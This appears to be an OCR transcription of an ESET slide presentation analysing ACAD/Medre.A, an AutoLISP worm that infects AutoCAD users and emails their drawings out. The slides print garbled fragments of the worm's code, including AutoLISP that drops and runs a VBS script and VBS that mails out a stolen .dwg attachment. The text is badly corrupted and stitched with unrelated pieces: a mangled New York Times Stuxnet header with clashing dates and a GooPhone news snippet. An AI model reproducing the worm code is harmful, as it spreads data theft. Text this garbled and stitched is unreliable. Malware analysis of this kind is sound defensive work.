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Other cases from around the world...

HOME FaGE TODAYS PAPER | vy DEC | MosT POPULAR TIMES TOPICg

Ehe New York Times

Wednesday, September 26, 2010

Cyberattacks op Iran — Stuxnet and Flame
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Over the last faw ¥ears, Iran has become the target of 3 series of

S S 4 -+ 9 notable l:j-'bEI‘E!ﬁaﬂE, some of which were linked to jts nuclear
® a u 3 08 10 : Program. The best kngwn of these was Stuxnet, the name given to a
%0 00 S tomputer worm, or malicious Computer program,
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Updateq: Aug. 9, 2013

America’s first sustained use of Cyberweapons,
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Something odd in the stats...

LIVEGRID

ESET Live Grid® 2012 Statistics for Peru

INF/Autorun
Win32/Dorkbot
Win32/Sirefef
Win32/Conficker
Win32/AutoRun.Delf.EP

HTML/Iframe.B

Win32/Packed.Themida

ACAD/Medre.A
HTML/Scrinject.B

Win32/Olmarik










Dissecting the worm...

« Written in AutoLISP, targets AutoCAD users
« Functionality:
« Copying itself —for“installation” and distribution

Stealing AutoCAD drawings from infected system

(setgq ME FILE-TEMP-A (VL-FILENAME-METEMP nil nil ".vhs"))
(setq ME FILE-TEMP-B (OPEN (setg ME FILE-TEMP-& (VL-FILENAME-METEMP nil nil ".vbs")}} "w"})
(MAPCAR ' (LAMEDA ' (X) ' (WRITE-LINE X ME FILE-TEMP-B)) ME-INFC-BIN)

(CLOSE ME FILE-TEMP-E)
(STARTAPP (STRCAT (GETENV "windir"™) "\System3Z.wscript.exe") MK FILE-TEMP-A4A




(cond (WCHATCH ACLDCBJ
(cond (WCHATCH ACALDCBJ
(cond (WCHATCH ACADCBJ
(cond (WCHMATCH ACADOBJ
(cond (WCHMATCH ACADOBJ
(cond (WCHMATCH ACADCEBJ
(cond (WCHMATCH ACADCEBJ
(cond (WCHMATCH ACADOEJ
(cond (WCHATCH ACLDCBJ
(cond (WCHATCH ACALDCBJ
(cond (WCHATCH ACADCBJ
(cond (WCHMATCH ACADOBJ

{cond (WCHATCH ACLDOBJ
(cond (WCHATCH ACLDOBJ
normal cond

(WCHMLTCH ACLDOBJ "~19.
(setqg AUTOFILE "acadZC

normal cond

(setqg AUTCOFILE

normal ocond

(DEFUN 5::53TARTUF ()
(if (findfile "cad.fa=") (load

(princ)




Infection and Installation

1. User extracts Sa |
files into a directory .
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2. User opens the =§i§file .[E'I' .%

3. AutoCAD calls |£| automatically as it
is located in the same directory

D] copies itself:\\j

4. AutoCAD Support |
+ modifies acad20??.Isp
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5. (further distribution)
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OCN ERROR RESUME NEXT
HameSpace =

Set Email = Createlbject ("C
Email.From = PRINC-YFMC
Email.To = "

Email.Subject = VL-INFCO-C

Email .Textbody = VL-FILE-FNAM-I

-w= NextPart

COO for Windows 2000

urn:content~classes:message

Email .Addattachment VL-FILE-FN:

ti-part message in MIME format.

With Email.Configuration.Fields ™ '® & misis

Jten{NameSpace&"zendu=sing™) =
Jten{NameSpace&"sntp

ocuments and Settings inistrador\Es

_It_EIf_tHE_‘[‘f_ESFaEEE“E:‘:‘_:_ = —eccse = NextPart 000 _0000_01CD3I9DS.4CFCIASO
Content-Type: cation/octet~strean;

Jtem{NameSpace&"=mt X dwg*
Content~Transfer-Encoding: baseds -

Content - A9position: attachment’

a
L
filenane="(Gec

3L-989-IK.dwg"

Jtem{NameSpace&"=zen

Jtem{NameSpace&"=zend W 1 SMMDE A AAAAAASC

Odpdate :
_ i LermXBodiNvEQoT IOXMNLIQC | - 3 PFPIE22vQaltQuiwwTo
End With YL 2 X+EMX 4RO InMO2RYVZ 21U 0DKOrdod I BRI URRBS 1 SXQCt SZEF rUnRBald

Seet eV

VAT AL S AR AR AR AR -s

E]Iail . Send BN AN 2 WM IN S AAQAAA QAR IO IAPCAVAAPeCT

createobject("scripting.file
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7 Write a letter
iz Prepared to

2] Contact

Inbox (107 525)
Starred messages
Group e-mail

Drafts (4981)

Has been deleted
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M plano
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M escritorio
B administrator
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Further action taken...

Upon discovery, ESET contacted:

AutoDesk
Chinese e-mail providers
Peruvian organizations

Stand-alone cleaner available
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Conclusion

UPDATE: Chinese Phone Maker Of The
GooPhone I5 Might Have Blocked IPhone 5
Sales In China!
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0oks like Chinese phone maker GooPhone have already patented the design of the

new iPhone 5 before Apple have had chance!



Thank you!

Questions?

sebastian.bortnik@eset.com
robert.lipovsky @eset.com
samples@eset.sk

ESET Threat Blog: blog.eset.com




